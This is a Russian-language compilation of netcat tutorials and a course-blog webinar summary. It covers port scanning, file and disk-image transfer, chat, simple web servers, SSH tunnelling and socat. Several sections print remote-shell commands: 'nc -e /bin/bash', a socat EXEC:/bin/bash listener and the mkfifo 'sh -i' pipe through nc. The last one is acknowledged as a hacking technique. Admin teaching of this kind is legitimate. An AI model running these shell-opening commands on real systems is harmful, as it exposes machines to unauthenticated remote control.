Команда Netcat (nc) с примерами
Netcat (или nc ) — это утилита командной строки, которая считывает и записывает данные через сетевые соединения с использованием протоколов TCP или UDP. Это один из самых мощных инструментов в арсенале сетевых и системных администраторов, который считается швейцарским армейским ножом сетевых инструментов.
Netcat является кроссплатформенным и доступен для Linux, macOS, Windows и BSD. Вы можете использовать Netcat для отладки и мониторинга сетевых подключений, сканирования открытых портов, передачи данных в качестве прокси-сервера и многого другого.
Пакет Netcat предварительно установлен в macOS и популярных дистрибутивах Linux, таких как Ubuntu, Debian или CentOS.
Синтаксис Netcat
Самый простой синтаксис утилиты Netcat имеет следующий вид:
nc [options] host port
В Ubuntu вы можете использовать netcat или nc . Оба они являются символическими ссылками на версию Netcat для openBSD.
По умолчанию Netcat пытается запустить TCP-соединение с указанным хостом и портом. Если вы хотите установить UDP-соединение, используйте параметр -u :
nc -u host port
Сканирование портов
Сканирование портов — одно из самых распространенных применений Netcat. Вы можете сканировать один порт или диапазон портов.
Например, чтобы сканировать открытые порты в диапазоне 20-80, вы должны использовать следующую команду:
nc -z -v 10.10.8.8 20-80
Опция -z укажет nc сканировать только открытые порты, не отправляя им никаких данных, а опция -v предоставит более подробную информацию.
Результат будет выглядеть примерно так:
nc: connect to 10.10.8.8 port 20 (tcp) failed: Connection refused nc: connect to 10.10.8.8 port 21 (tcp) failed: Connection refused Connection to 10.10.8.8 22 port [tcp/ssh] succeeded! nc: connect to 10.10.8.8 port 23 (tcp) failed: Connection refused . nc: connect to 10.10.8.8 port 79 (tcp) failed: Connection refused Connection to 10.10.8.8 80 port [tcp/http] succeeded!
Если вы хотите распечатать только строки с открытыми портами, вы можете отфильтровать результаты с помощью команды grep .
nc -z -v 10.10.8.8 20-80 2>&1 | grep succeeded
Connection to 10.10.8.8 22 port [tcp/ssh] succeeded! Connection to 10.10.8.8 80 port [tcp/http] succeeded!
Вы также можете использовать Netcat для поиска серверного программного обеспечения и его версии. Например, если вы отправляете команду «EXIT» на сервер через SSH-порт 22 по умолчанию:
echo "EXIT" | nc 10.10.8.8 22
Результат будет выглядеть примерно так:
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 Protocol mismatch.
Чтобы сканировать порты UDP, просто добавьте к команде параметр -u как показано ниже:
nc -z -v -u 10.10.8.8 20-80
Как правило, Nmap — лучший инструмент, чем Netcat для комплексного сканирования портов.
Отправка файлов через Netcat
Netcat можно использовать для передачи данных с одного хоста на другой путем создания базовой модели клиент / сервер.
Это работает путем настройки Netcat для прослушивания определенного порта (с использованием параметра -l ) на принимающем хосте, а затем установления обычного TCP-соединения с другим хостом и отправки файла через него.
При получении выполните следующую команду, которая откроет порт 5555 для входящего соединения и перенаправит вывод в файл:
nc -l 5555 > file_name
От отправляющего хоста подключитесь к принимающему хосту и отправьте файл:
nc receiving.host.com 5555 < file_name
Чтобы передать каталог, вы можете использовать tar для архивации каталога на исходном хосте и для извлечения архива на целевом хосте.
На принимающем хосте настройте инструмент Netcat для прослушивания входящего соединения через порт 5555. Входящие данные передаются команде tar , которая распаковывает архив:
nc -l 5555 | tar xzvf -
На передающем хосте упакуйте каталог и отправьте данные, подключившись к слушающему процессу nc на принимающем хосте:
tar czvf - /path/to/dir | nc receiving.host.com 5555
Вы можете наблюдать за процессом передачи на обоих концах. По завершении CTRL+C чтобы закрыть соединение.
Создание простого чат-сервера
Процедура создания онлайн-чата между двумя и более хостами такая же, как и при передаче файлов.
На первом хосте запустите процесс Netcat для прослушивания порта 5555:
nc -l 5555
Со второго хоста выполните следующую команду для подключения к слушающему порту:
nc first.host.com 5555
Теперь, если вы наберете сообщение и нажмете ENTER оно будет отображаться на обоих хостах.
Чтобы закрыть соединение, введите CTRL+C
Выполнение HTTP-запроса
Хотя есть гораздо лучшие инструменты для HTTP-запросов, такие как curl , вы также можете использовать Netcat для отправки различных запросов на удаленные серверы.
Например, чтобы получить справочную страницу Netcat с веб-сайта OpenBSD, вы должны ввести:
printf "GET /nc.1 HTTP/1.1rnHost: man.openbsd.orgrnrn" | nc man.openbsd.org 80
Полный ответ, включая заголовки HTTP и HTML-код, будет напечатан в терминале.
Выводы
В этом руководстве вы узнали, как использовать утилиту Netcat для установления и тестирования соединений TCP и UDP.
Для получения дополнительной информации посетите страницу руководства Netcat и прочтите обо всех других мощных параметрах команды Netcat.
Если у вас есть вопросы или замечания, пожалуйста, оставьте комментарий ниже.
Использование команды Netcat (nc) с примерами
Netcat (или nc) это классическая сетевая утилита Unix, позволяющая устанавливать TCP и UDP соединения, принимать и передавать данные, проверять открытые порты на удаленном компьютере, тестировать правила файерволов В этой статье мы рассмотрим типовые сценарии использования консольной утилиты netcat.
Утилита доступна как в Linux, так и в Windows.
Установка netcat:
- В CentOS/RHEL: $ sudo yum install nc
- В Debian/Ubuntu:
$ sudo apt update
$ sudo apt install netcat - В Windows: портированную версию netcat для Windows можно скачать здесь (https://eternallybored.org/misc/netcat/)
Рассмотрим несколько примеров использования netcat.
NetCat: проверка открытых TCP/UDP портов на удаленном компьютере
Проверка TCP 53 порта на удаленном компьютере:
$ nc -zv 192.168.13.10 53
[192.168.13.10] 53 (domain) open

В данном примере TCP порт 53 (DNS) отрыт.
Используемые опции:
- –z указывает, что нужно выполнить сканирование удаленного порта службы, фактически не отправляя данные
- -v – включает подробный режим
- -n – позволяет пропустить поиск в DNS (сканирование выполнится быстрее)
Можно просканировать несколько портов:
$ nc -nzv 192.168.13.10 445 3389 25
Вы можете просканировать диапазон удаленных портов с помощью nc (без использования nmap):
$ nc -vz 192.168.13.10 1-1023 2>&1 | grep succeeded
![]()
В выводе команды будут показаны только открытые порты.
Connection to 192.168.31.10 135 port [tcp/epmap] succeeded! Connection to 192.168.31.10 445 port [tcp/microsoft-ds] succeeded!
Сканирование диапазона портов с помощью nc выполняется заметно медленно, чем при использовании nmap.
Можно проверить UDP порты. Например, чтобы проверить открыт ли UDP порт 139 (NETBIOS Session Service):
$ nc -uv 192.168.13.10 139
![]()
В обоих случаях команда вернула, что указанный порт открыт.
Если порт закрыт, netcat вернет:
[192.168.13.12] 25 (smtp) : Connection refused.
Утилита netcat, как и многие другие сетевые утилиты, может некорректно показывать состояние UDP портов (открыт/закрыт). Поэтому сканирования UDP лучше использовать nmap.
Обратите внимание, что netcat возвращает название удаленного сервиса, если используется один из стандартных номеров портов TCP/UDP.
Запуск прослушивателя порта на NetCat
Утилита netcat также позволяет запустить прослушивание определенного порта на вашем компьютере. Чтобы запустить службу на порту TCP 5000, выполните команду:
В следующем примере мы создадим простой чат между двумя компьютерам. Все что вы наберете на клиенте и отправите с помощью Enter появится в консоли другого компьютера:
- Сервер: $ nc -lvp 5555
- Клиент: $ nc 192.168.13.10 5555
В таком режиме все, что приходит на этот порт 5555 сервера, выводится в консоль.
Чтобы закрыть соединение, нажмите Ctrl+C .
NetCat в режиме прослушивается часто используется для создания reverse shell:
$ nc -e /bin/bash -lp 5555
Подключается к нему:
$ nc 192.168.13.10 5555
Передача файлов с помощью NetCat
Вы можете использовать NetCat для передачи файлов или целых директорий между хостами. Для этого нужно запустить сервер netcat, прослушивающий определенный порт и перенаправить его вывод в файл:
$ nc -l 5555 > target.txt
Затем подключитесь на этот порт с клиента и передайте файл:
Злоумышленники часто используют прием перенаправки вывода с сервера netcat прямо в shell.
Можно перенаправить вывод файла лога с одного сервера на другой:
$ tail -f /var/log/zabbix/zabbix_agentd.log | nc 192.168.13.10 5555
С помощью nc можно передать по сети образ диска.
- Сервер: $ nc -lvp 5555 > dd of=/backup/sda.img.gz
- Клиент: $ dd if=/dev/sda | gzip -c | nc 192.168.13.10 5555
Запуск простого веб сервера на NetCat
Вы можете использовать NetCat в качестве простого веб сервера. Достаточно передать ему на вход веб-страницу:
Теперь, если подключится к вашему хосту через браузер на 80 порт, перед вами появится дефолтная веб страница Apache.
Можно также использовать Python для запуска простого HTTP сервера.
Можно использовать netcat для тестирования производительности канала (в качестве простой замены iperf):
- Прослушиватель: $ nc -v -l 2222 > /dev/null
- Сендер: $ dd if=/dev/zero bs=200K count=10 | pv -b | nc -v 192.168.13.10 2222
Современным версией утилиты NetCat является ncat, которая доступна по-умолчанию во многих дистрибутивах Linux.
Открытый вебинар: «SSH/NC/Socat: tips & tricks»
Уже на следующей неделе у нас стартует очередная группа «Администратор Linux», в связи с чем мы провели ряд мероприятий. Одно из них — открытый урок на тему «SSH/NC/Socat: tips & tricks». На нём мы вспомнили, что такое ssh, его историю и предназначение. Рассмотрели различные варианты его использования: remote, local port forwarding, secure copy, socks proxy, reverse proxy. Попробовали на деле в виртуальной лаборатории утилиты nc и socat.
Вебинар провёл опытный системный администратор Владимир Дроздецкий — разработчик инфраструктуры letundra.com, exposcan.ru, crispmessenger.com.
Предлагаем вашему вниманию подробное описание прошедшего мероприятия.
Вспоминаем, что такое SSH
SSH (англ. Secure Shell) — «безопасная оболочка», сетевой протокол прикладного уровня. Он позволяет удалённо управлять операционной системой и выполнять туннелирование TCP-соединений (к примеру, для передачи файлов). По своей функциональности SSH схож с протоколами Telnet и rlogin, однако имеет отличия от них, так как шифрует весь трафик, включая и передаваемые пароли. Спецификация протокола SSH-2 содержится в RFC 4251.
Давайте посмотрим различные варианты использования SSH, как стандартные, так и нестандартные. В этом нам поможет следующий стенд:

Стенд представляет четыре виртуальных машины, которые находятся за файрволом. Все действия будем производить с машины Node-1.
Создание ключа SSH
Для того чтобы использовать ключ SSH, сначала необходимо его создать. Для этого подойдёт специальная утилита, которая есть абсолютно в любом дистрибутиве Linux:
ssh-keygen -t RSA -N otuslinux -f ~/.ssh/otus
- -t — какой алгоритм шифрования использовать;
- -N — ключ шифрования (удобный аргумент, если необходимо создать ключ без шифрования и ответов на различные запросы ssh-keygen);
- -f — в какой файл сохранить ключ.
Для дальнейшей работы потребуется отредактировать файл /etc/ssh/sshd_config и перезапустить ssh server. Тут следует обратить внимание на следующие опции:
RSAAuthentication yes (разрешена ли аутентификация по RSA);
PubkeyAuthentication yes (разрешена ли аутентификацию по ключу);
AuthorizedKeysFile %h/.ssh/authorized_keys (путь к публичной части ключа);
PasswordAuthentication yes (разрешена ли аутентификация).
Чтобы скопировать ключ на сервер, действуем следующим образом:
ssh-copy-id -i /path/to/pub/key user@server (копируем публичную часть ключа на удалённый сервер, публичный ключ будет скопирован по пути в файл %h/.ssh/authorized_keys)
Для того, чтобы при подключении к удалённому серверу каждый раз не вводить ключ шифрования снова, мы можем использовать ssh-agent. Для этого:
eval $(ssh-agent -s) (eval является частью POSIX. Его интерфейс также может быть оболочкой. Ключ в агенте будет храниться уже в расшифрованном виде).
ssh-add ~/.ssh/our_private_key (Добавляем приватный ключ).
В данном случае:
- -i — указываем расположение публичного ключа;
- user — имя пользователя на удалённом сервере;
- server — ip или dns целевого сервера.
Таким образом, получаем следующий SSH config file:
Host myserver HostName ip/hostname Port 22/. User username IdentityFile ~/.ssh/id_rsa
Здесь всё просто:
- Host — имя нашего подключения;
- HostName — имя сервера;
- Port — порт ssh
- User — имя пользователя;
- IdentityFile — ssh-ключ.
Идём дальше. Самый простой вариант использования SSH — скопировать файл из одной машины на удаленную. Для этого используем утилиту SCP (Secure Copy Protocol). С её помощью можно скопировать каталог или файл как с локального сервера на удалённый, так и наоборот:
scp test.txt username@server:/some/directory (Копирование файла с локального сервера на удалённый сервер).
scp username@server:test.txt /some/directory (Копирование файла с удалённого сервера на локальный).
scp -r dir_name username@server:/some/directory (Копирование папки с локального сервера на удалённый).
- username — имя пользователя;
- server — адрес сервера;
- /some/server — директория, куда копируем;
- dir_name — имя папки;
- -r — использовать рекурсивно.
Теперь давайте рассмотрим вариант, как пробросить на локальную машину порт с удалённой. Возьмём для примера классический случай, то есть связку, когда у нас есть «злой безопасник» и один сервер с веб-приложением, в мир смотрит порт ssh и https, а нам очень хочется подключиться к MySQL-серверу.
ssh -f -N -L 9906:127.0.0.1:3306 user@server (Как раз наш случай с MySQL)
В результате мы можем подключиться к локальному порту 9906 клиентом mysql и попасть на наш “секьюрный” сервер.
ssh -D 8080 -q -C -N -f servername (Проксирование трафика через SOCKS через порт 8080)
Данной командой мы создаём socks5 прокси-сервер посредством ssh. Для проверки его работоспособности мы можем использовать следующую команду:
curl -x socks5h://server-with-proxy:8080 https://test.domain
Классический пример проброса портов при помощи ssh — ситуация, когда сервер, к которому нужно подключиться, находится за натом. Подключиться к такому серверу нам поможет следующая команда:
ssh -f -N -R 2255:localhost:22 username@servername (проброс с удалённого сервера на локальный).
На удалённом сервер откроется 2255 порт, который будет перенаправлен в 22 порт нашего сервера за натом. Для подключения к такому серверу мы можем воспользоваться командой:
ssh -p 2255 username@localhost
Обратите внимание, что:
- -f — отправит ssh в background;
- -N — не выполнять команду на удалённом хосте;
- -L — проброс локального порта (локальный порт: локальная машина: удалённый порт);
- -R — порт на удаленной машине;
- -q — тихий режим;
- -D — определяет локальную динамическую маршрутизацию портов уровня приложения;
- -C — запрос на сжатие данных.
Следующая наша остановка — Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, данная утилита не входит ни в какой стандарт и не поставляется в составе какого-либо дистрибутива. Соответственно, её приходится устанавливать руками.
Одна из интересных особенностей Netcat (nc) — возможность просканировать порты:
nc -vn ipaddress 22 (сканирование одного порта);
nc -v ipaddress 10-55 (сканирование диапазона портов);
nc -l 4444 (открываем и слушаем порт 4444);
nc servername 4444 (подключаемся к серверу по нужному порту).
После открытия порта и подключения к нему у нас получается небольшой сетевой чатик =).
Далее мы рассмотри возможность передачи файлов при помощи утилиты nc. Для этого нам поможет следующая команда:
cat test_file | pv -b | nc -l 4444 (открываем порт и через пайп передаем в него файл, утилита pv с ключем -b используется для отображения прогресса передачи файла в байтах).
nc servername 4444 | pv -b > filename (подключаемся к серверу для получения файла, pv -b используется аналогично).
Мы можем усложнить наш пайп путём добавления архивации файлов на лету:
tar -czf - /path/to/ | pv -b | nc -l 4444 (архивирование на лету папки и отправка);
n c servername 4444 | pv -b > file.tar.gz (получение отправленного архива).
Не очень очевидная возможность nc — это создание просто http-сервера.
while true; do nc -lp 80 < index.html; done
Обратите внимание, что для того чтобы использовать 80 порт, необходимо обладать root-правами.
Также обратите внимание, что:
- -l — указываем режим работы listen;
- -n — не использовать запросы к DNS;
- -v — подробный вывод.
Тоже полезная утилита, позволяющая устанавливать TCP-соединения между машинами, перенаправлять порты и пр. Работает по принципу Netcat: открывает два двунаправленных соединения, может передавать данные, потоки и т. д. Однако у неё есть одна интересная особенность. Например, с помощью Socat мы можем смапить COM-порты в ТСР-порты и т. д.
Примеры работы Socat:
socat -u FILE:file_name TCP-LISTEN:5778,reuseaddr #отправка файла;
socat -u TCP:192.168.1.48:5778 STDOUT | pv -r > file_name #получение файла;
socat TCP-LISTEN:80,fork TCP:ubuntunode-4:80 #перенаправление порта удалённого сервера на локальный порт;
socat TCP-LISTEN:1234,reuseaddr EXEC:/bin/bash #Открываем remote shell =);
socat - TCP:server_with_remote_shell:1234 #Подключаемся к remote shell удалённого сервера.
- -u — использование однонаправленного режима;
- FILE — указываем, что используем файл;
- TCP-LISTEN — слушаем tcp-порт;
- reuseaddr — разрешает другим сокетам связываться с этим же адресом, даже если он используется;
- fork — после установления соединения канал обрабатывается в дочернем процессе;
- TCP — тип соединения.
Разумеется, да, ведь в описании всё представлено тезисно. К тому же, в вебинаре темы раскрыты более подробно, плюс по некоторым из них даются дополнительные примеры и варианты реализации. Таким образом, если эта тема вам интересна, посмотрите открытый урок полностью и повторите все шаги за Владимиром Дроздецким для максимального усвоения материала. И не забудьте оставить свои комментарии.
Мы же, в свою очередь, не прощаемся и приглашаем вас на курс «Администратор Linux»!
- Блог компании OTUS
- Настройка Linux
- Системное администрирование
Для чего команда NC в Linux
Команда netcat необходима для передачи и получения данных протоколами TCP и UDP. Она не отличается большим набором функций, но при этом её достаточно для проверки соединения и несложной отладки. Как общаться посредством протокола TCP? Этим вопросом задаются многие пользователи. В этой статье ответим на этот вопрос, с также покажем примеры реального применения команды.
Опции
Для начала рассмотрим синтаксис и наиболее востребованные:
- -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
- -h – вывести справку со списком доступных параметров;
- -i задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
- -l – режим прослушивания. Используется с указанием порта;
- -N – закрыть соединение при достижении конца файла при его отправке;
- -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
- -P имя_пользователя – указать имя пользователя для подключения к прокси;
- -x адрес:порт – указать адрес и порт для подключения к прокси;
- -p порт – указать номер порта. В большинстве случаев порт считывается без указания параметра;
- -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
- -u – использовать протокол UDP, по умолчанию используется TСP;
- -v – подробный режим. Используется при сканировании;
- -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
- -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
- -z – отключить отправку данных. Используется при сканировании.
Команда имеет следующий вид:
Дальше расскажем о способах применения команды.
Проверяем порт
Проверка – главное применение netcat. Следует использовать два параметра -vz, указать адрес и порт. Вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. Проверим порты адреса локальной сети:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Таким же способом просканируем порты UDP, добавив п араметр -u:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
При этом нужно знать главное отличие TCP и UDP. Так в UDP порты всегда доступны.
Прослушиваем порт
Для прослушивания порта предназначен параметр -l. Его зачастую достаточно, но можете включить подробный режим:

Помните, что при использовании протокола TСP порт должен быть в свободен, иначе появится ошибка Already in use. При этом не все порты могут использовать обычные пользователи, например, 80 порт (HTTP), скорее всего, он будет занят другим процессом, и к тому же потребует прав суперпользователя.
Обмен файлами
Полезная способность команды - обмен данными. Простой пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:
На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:

Таким способом удастся отправлять и получать сообщения. То есть, команда предназначена для обмена файлами. Принцип такой же, за тем исключением, что необходимо перенаправить вывод в файл, а именно в paste.txt:
На другом ПК вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:
Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл. Команда nc – рабочий, но далеко не самый лучший способ передачи файлов. Есть для решения этой задачи более эффективные и полезные инструменты.
Простой веб-сервер
Поскольку команда NC не функционирует с протоколом TСP, она позволяет и отправлять, и получать запросы HTTP. Следовательно, утилита может стать простейшим веб-сервером. Да, ничего хитрей страницы-заглушки таким образом нельзя сделать, н операция практически не отнимет времени, а еще плюс в том, что не нужно ничего дополнительно инсталлировать.
На примере сформируем ответ HTTP с файлом index.html. Если же говорить о самой np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:
$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done

Чтобы получить данные с веб-сайта, вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, лучше использовать соответствующую CURL команду.
Удаленная оболочка
Исходя из рассмотренных выше примеров, не составит прийти к выводу, что команда позволяет организовать удалённый доступ к оболочке компьютера. Ранее утилита NC имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.
Покажем подключение с помощью именованного канала mkfifo. В первую очередь запустим прослушивание порта на том ПК, на котором будем получать доступ:
Перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Следует учитывать, что это один из способов взлома, однако, он может быть полезен в случае появления проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.